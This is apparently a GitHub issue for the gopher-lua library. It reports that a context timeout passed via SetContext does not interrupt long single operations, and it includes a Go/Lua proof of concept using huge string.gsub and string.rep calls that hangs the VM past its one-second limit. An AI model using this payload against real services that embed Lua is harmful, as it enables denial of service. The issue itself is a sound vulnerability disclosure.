Skip to content

SetContext(context.WithTimeout(...)) potentially uneffectiveΒ #521

@suidpit

Description

@suidpit

Hi, during a security audit of a piece of software using gopher-lua as a third-party dependency, we have identified a bug on the implementation of the context with timeout that can be passed to a luaVM via SetContext.

In particular, this leads to potential snippets of code capable of stalling the VM even when a timeout is explicitly set. Since this has a potential security impact (Denial Of Service), we tried to contact the maintainer of the library privately (#507), but with no success.

We believe the issue lies in the fact that the context timeout, internally, is checked on every loop of the vm, therefore if a single operation is capable to stall the VM, the timeout will not be checked. This can happen, for instance, in case of heavy string-based operations.

This is a simple proof of concept:

package main

import (
	"context"
	"fmt"
	"time"

	lua "github.com/yuin/gopher-lua"
)

func main() {
	L := lua.NewState()
	defer L.Close()

	ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
	defer cancel()

	L.SetContext(ctx)

	err := L.DoString(`
	    function test()
			-- Create a large string
		    local str = string.rep("a", 1000000)
			-- Attempt to perform a complex gsub operation
			result, err = pcall(function()
					return string.gsub(str, "a", function()
							return string.rep("b", 100)
					end)
			end)

			if not result then
					print("Gsub crashed: " .. tostring(err))
			else
					print("Gsub succeeded")
			end

			-- Attempt to create an even larger string
			result, err = pcall(function()
					return string.rep("a", 2^30)
			end)

			if not result then
					print("String creation crashed: " .. tostring(err))
			else
					print("String creation succeeded")
			end
        end
        test()
	`)

	if err != nil {
		fmt.Printf("Error executing Lua code: %v\n", err)
	}
}

The PoC was constructed by modifying the lua script used in the README example that shows how to setup the context with timeout. In our tests (both in Linux and macOS), this consistently hangs the VM for way longer than the set timeout (1 second).

The version used is the latest released (v.1.1.1).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions